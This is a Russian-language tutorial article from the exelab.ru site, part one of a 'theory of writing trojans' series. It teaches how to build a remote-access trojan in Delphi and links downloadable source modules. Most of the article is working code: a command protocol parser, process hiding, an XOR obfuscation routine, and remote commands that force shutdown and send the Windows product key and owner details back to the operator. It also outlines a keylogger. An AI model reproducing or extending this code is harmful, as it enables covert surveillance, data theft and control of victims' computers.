Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 8 октября!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Слушай, дружище, зачем так мучиться с этим языком С++, ты ведь не Билл Гейтс. Возьми тот же Python и программируй, он кроссплатформенный, под Windows тоже работает. Я сам давно заметил: то что на Си пишешь в страницу кода, на питоне решается в одну-две строки. При том, питон намного проще, я его сам недавно изучил по видеокурсу вот этому. Кстати, автор отлично там объясняет. Буквально день-два и уже будешь писать на нём, чего не скажешь про сложный С++.
Теория написания троянов
Часть 1

В этой статье описана теория написания троянов(client/server) на Delphi, работающих по протоколу TCP/IP.

   Для начала, я считаю, надо разработать протокол обмена. Вы должны выбрать между побайтовой или построковой работой. Я приведу пример построкового протокола обмена:


Где:
1. com. - команда
2. sig. - сигнатура
3. par. - параметр
4. [ ] - разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре)

А вот пример реализации такого протокола обмена:

function _parser(str:string):tstringlist;
 var
 s : tstringlist;
 i : integer;
 st : integer;
 sp : boolean;
 begin
 st := 0;
 sp := true;
 s := tstringlist.create;
 s.add('');
 for i := 1 to length(str) do
 begin
 if str[i] = '†' then
 begin
 if not sp then
 begin
 inc(st);
 s.add('');
 end;
 sp := true;
 end
 else
 begin
 sp := false;
 s.strings[st] := s.strings[st] + str[i];
 end;
 end;
 if sp then s.delete(s.count-1);
 result:=s;
 end;
Эта функция делит переданную ей строчку на слова(разделителем здесь является символ †). Например, если функции передать: abc†1000†abc†abc, то в ответе мы получим tstringlist такого вида:
abc
 1000
 abc
 abc
Таким образом при получении какой-либо строки мы передаем ее параметром в функцию _parser, а ответом функции будет трафик разобранный на части согласно данному протоколу обмена. Что означает первая часть протокола обмена(команда), думаю, не надо объяснять. Я считаю, что лучше не писать троянов, работающих по нескольким портам(одновременно). Из-за этого в данном протоколе обмена есть такая вещь, как сигнатура. Люди пишут трояны работающие на нескольких портах, чтобы распределить команды по какому-либо признаку. Например, первый порт - команды работы с файлами, второй порт - остальные команды. При помощи сигнатуры тоже можно разделить все команды на несколько типов. Например, сигнатуре 1 соответствует перечень команд работы с файлами, а сигнатуре 2 соответствует перечень других команд. Количество параметров для каждой команды может быть разным, можно даже сделать команды с переменным количеством параметров. Разделитель - это некий барьер отделяющий составляющие части протокола обмена.

После реализации протокола обмена можно сразу сделать троян невидимым для "постороннего взгляда". Есть много способов исполнения этой задачи. Приведу один из них, на мой взгляд, самый простой:

type
 tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;
 stdcall;
А при создании формы пишем:
var
 hndl : thandle;
 registerserviceprocess : tregisterserviceprocess;
 begin
 hndl:=loadlibrary('KERNEL32.DLL');
 registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');
 registerserviceprocess(getcurrentprocessid,1);
 freelibrary(hndl);
Да, и не забудьте в самом проекте указать:
application.showmainform:=false;

А вот механизм инсталляции в систему, если его написать слишком рано, может затруднить отладку трояна. Все значения, такие как: порт, пароль и т.п. должны быть в зашифрованном виде. Для этой цели советую не использовать очень сложные алгоритмы шифрования. Если кому-то понадобится эта информация, то он все равно ее получит. Можно использовать, например, такой алгоритм шифрования:

function crypt(str:string):string;
 var
 len : integer;
 a : integer;
 b : integer;
 c : integer;
 d : integer;
 r : string;
 begin
 d := 13;
 r := '';
 len := length(str);
 for a := 1 to len do
 begin
 b := ord(str[a]);
 b := b - 32;
 c := b xor d;
 c := c + 32;
 r := r + chr(c);
 d := d + 1;
 end;
 result := r;
 end;
Я могу расшифровать информацию, зашифрованную этим алгоритмом, в уме, но все равно для своей задачи он пригоден. Также можно использовать его и для шифрования трафика, но тогда придется чуть изменить схему трояна: сначала трафик передается функции crypt, а потом функции _parser.

После реализации протокола обмена и шифрования значений можно переходить к самому трояну. Я обычно пишу примерно по такой схеме:


Как видите, при запуске, троян становится невидимым, потом он инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодчески сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser модуль, который ещё определяет есть ли это то, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды.

На самом деле это упрощенная схема, сюда можно ещё много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и чуть-чуть приблизиться к практике. Вот примеры некоторых команд:

Это пример команды messagebox. Я не буду объяснять значение
 всех переменных т.к. это всего лишь пример и здесь итак все понятно.
 
 _com - команда
 
 _data - ответ функции _parser
 
 const
 _line = #13+#10;
 _icon : array [0..4] of integer=(0,mb_iconexclamation,
 mb_iconinformation,mb_iconstop,mb_iconquestion);
 
 ############################################################
 if _com = 2 then
 begin
 if _data.count = 6 then
 if (strtoint(_data[5]) = 0) or
 (strtoint(_data[5]) = 1) or
 (strtoint(_data[5]) = 2) or
 (strtoint(_data[5]) = 3) or
 (strtoint(_data[5]) = 4) then
 begin
 if _data[2] = '1' then
 begin
 if messagebox(0,pchar(_data[3]),pchar(_data[4]),
 mb_ok + _icon[strtoint(_data[5])]) <> 0 then
 begin
 socket.sendtext(_name+' : true {2,1,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : ok {2,1,'+_data[5]+'}'+_line);
 end;
 end;
 if _data[2] = '2' then
 begin
 if messagebox(0,pchar(_data[3]),pchar(_data[4]),
 mb_okcancel + _icon[strtoint(_data[5])]) = idok then
 begin
 socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : ok {2,2,'+_data[5]+'}'+_line);
 end else
 begin
 socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : cancel {2,2,'+_data[5]+'}'+_line);
 end;
 end;
 if _data[2] = '3' then
 begin
 if messagebox(0,pchar(_data[3]),pchar(_data[4]),
 mb_yesno + _icon[strtoint(_data[5])]) = idyes then
 begin
 socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : yes {2,3,'+_data[5]+'}'+_line);
 end else
 begin
 socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : no {2,3,'+_data[5]+'}'+_line);
 end;
 end;
 if _data[2] = '4' then
 begin
 k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
 mb_abortretryignore + _icon[strtoint(_data[5])]);
 if k = idabort then
 begin
 socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : abort {2,4,'+_data[5]+'}'+_line);
 end else
 if k = idretry then
 begin
 socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : retry {2,4,'+_data[5]+'}'+_line);
 end else
 if k = idignore then
 begin
 socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : ignore {2,4,'+_data[5]+'}'+_line);
 end;
 end;
 if _data[2] = '5' then
 begin
 k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
 mb_yesnocancel + _icon[strtoint(_data[5])]);
 if k = idyes then
 begin
 socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : yes {2,5,'+_data[5]+'}'+_line);
 end else
 if k = idno then
 begin
 socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : no {2,5,'+_data[5]+'}'+_line);
 end else
 if k = idcancel then
 begin
 socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : cancel {2,5,'+_data[5]+'}'+_line);
 end;
 end;
 if _data[2] = '6' then
 begin
 if messagebox(0,pchar(_data[3]),pchar(_data[4]),
 mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then
 begin
 socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : retry {2,6,'+_data[5]+'}'+_line);
 end else
 begin
 socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
 socket.sendtext(_name+' : cancel {2,6,'+_data[5]+'}'+_line);
 end;
 end;
 exit;
 end;
 end;
 
 Пример команды exitwindows:
 if _com = 6 then
 begin
 if _data.count = 3 then
 begin
 if _data[2] = '1' then
 begin
 socket.sendtext(_name+' : true {6,1}'+_line);
 exitwindows(ewx_force,1);
 end else
 if _data[2] = '2' then
 begin
 socket.sendtext(_name+' : true {6,2}'+_line);
 exitwindows(ewx_logoff,1);
 end else
 if _data[2] = '3' then
 begin
 socket.sendtext(_name+' : true {6,3}'+_line);
 exitwindows(ewx_poweroff,1);
 end else
 if _data[2] = '4' then
 begin
 socket.sendtext(_name+' : true {6,4}'+_line);
 exitwindows(ewx_reboot,1);
 end;
 if _data[2] = '5' then
 begin
 socket.sendtext(_name+' : true {6,5}'+_line);
 exitwindows(ewx_shutdown,1);
 end;
 exit;
 end;
 end;
 
 Сбор некоторых сведений о системе:
 if _com = 7 then
 begin
 if _data.count = 2 then
 begin
 _inf := tregistry.create;
 _inf.rootkey:=hkey_local_machine;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('Version')
 else
 st := 'unknown';
 socket.sendtext(_name+' : system : '+st+' {7}'+_line);
 _inf.closekey;
 if
 _inf.openkey('hardware\description\system\centralprocessor\0',true)
 = true then
 st := _inf.readstring('vendoridentifier')
 else
 st := 'unknown';
 socket.sendtext(_name+' : processor : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('config\0001\display\settings',true) = true then
 st := _inf.readstring('resolution')
 else
 st := 'unknown';
 socket.sendtext(_name+' : resolution : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('config\0001\display\settings',true) = true then
 st := _inf.readstring('bitsperpixel')
 else
 st := 'unknown';
 socket.sendtext(_name+' : bits per pixel : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('systemroot')
 else
 st := 'unknown';
 socket.sendtext(_name+' : system root : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('productkey')
 else
 st := 'unknown';
 socket.sendtext(_name+' : product key : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('productname')
 else
 st := 'unknown';
 socket.sendtext(_name+' : product name : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('programfilespath')
 else
 st := 'unknown';
 if st = '' then
 begin
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('programfilesdir')
 else
 st := 'unknown';
 end;
 socket.sendtext(_name+' : programfiles path : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('registeredorganization')
 else
 st := 'unknown';
 socket.sendtext(_name+' : registered organization : '+st+'
 {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('registeredowner')
 else
 st := 'unknown';
 socket.sendtext(_name+' : registered owner : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('sm_accessoriesname')
 else
 st := 'unknown';
 socket.sendtext(_name+' : accessories name : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('versionnumber')
 else
 st := 'unknown';
 socket.sendtext(_name+' : version number : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('wallpaperdir')
 else
 st := 'unknown';
 socket.sendtext(_name+' : wall paper dir : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('productid')
 else
 st := 'unknown';
 socket.sendtext(_name+' : product id : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('otherdevicepath')
 else
 st := 'unknown';
 socket.sendtext(_name+' : other device path : '+st+' {7}'+_line);
 _inf.closekey;
 if _inf.openkey('software\microsoft\windows\currentversion',true)
 = true then
 st := _inf.readstring('mediapath')
 else
 st := 'unknown';
 socket.sendtext(_name+' : media path : '+st+' {7}'+_line);
 _inf.closekey;
 _inf.destroy;
 exit;
 end;
 end;
 
 Проставление приоритета своему процессу:
 if _com = 14
 then
 begin
 if _data.count = 2 then
 begin
 if pr = false then
 begin
 processid := getcurrentprocessid;
 processhandle :=
 openprocess(process_set_information,false,processid);
 setpriorityclass(processhandle,realtime_priority_class);
 threadhandle := getcurrentthread;
 setthreadpriority(threadhandle,thread_priority_time_critical);
 socket.sendtext(_name+' : true (on) {14}'+_line);
 pr := true;
 end
 else
 begin
 processid := getcurrentprocessid;
 processhandle :=
 openprocess(process_set_information,false,processid);
 setpriorityclass(processhandle,normal_priority_class);
 threadhandle := getcurrentthread;
 setthreadpriority(threadhandle,thread_priority_normal);
 socket.sendtext(_name+' : true (off) {14}'+_line);
 pr := false;
 end;
 exit;
 end;
 end;
Это самые простые примеры, указывающие на то, как это должно быть. А чтобы вы не ломали себе голову, какие команды реализовать, небольшой список функций для среднего трояна без наворотов можно посмотреть здесь.

Ну вот вроде и все. Спасибо за внимание.

Также прилагаются исходные тексты модулей:
_parser(unit) (скачано 2542 раз)
_crypt(unit) (скачано 2371 раз)
_hide(unit) (скачано 2394 раз)
Также, можно скачать пакет целиком, вместе с самой статьей, исходниками и т.д. Скачать можно здесь (скачано 4813 раз)

XOR
xor(at)uinc.ru
uinC Member
[c]uinC
[c]mechanicalanimals
[c]overkill

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.



<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS